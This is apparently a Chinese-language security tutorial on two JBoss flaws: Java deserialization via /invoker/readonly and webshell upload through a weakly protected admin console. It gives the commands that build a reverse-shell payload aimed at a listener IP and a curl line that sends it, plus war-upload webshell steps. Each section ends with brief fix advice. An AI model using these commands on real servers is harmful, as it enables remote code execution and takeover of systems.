一、Jboss反序列化漏洞
漏洞原理
反序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
形成漏洞的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。
漏洞危害
黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑客就可以在服务器上执行任意的命令。
检测条件
Java反序列化漏洞JBOSS_EXP
检测方法
1.访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。

Exp:https://github.com.cnpmjs.org/joaomatosf/JavaDeserH2HC.git
利用工具:JavaDeserH2HC,我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:
生成
ReverseShellCommonsCollectionsHashMap.class javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成
ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666(ip是nc所在的ip)
利用:
curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

修复建议
- 升级中间件版本
- 不需要的http-invoker.sar组件,删除此组件
二、Jboss控制台部署war包getshell
漏洞原理
JBoss支持在部署war文件,可以直接将webshell部署到web目录下。
若后台管理页面存在弱口令,则可以通过爆破获取密码。
漏洞危害
攻击者可以直接将webshell部署到web目录下
检测条件
Jboss 5.x/6.x版本不能使用jmx Console部署war包,但可以用administrator Console部署
检测方法
1.访问Jboss系统,Jboss 5.x/6.x版本不能使用jmx Console部署war包,但可以用administrator Console部署,使用账户和密码登陆

2.登录进admin-console后台后,点击Web Application(WAR)s ,然后Add a new resource

3.上传war包

4.查看war包

5.访问shell文件
修复建议
- 升级Jboss版本
- 设置强口令防止爆破
1192




被折叠的 条评论
为什么被折叠?



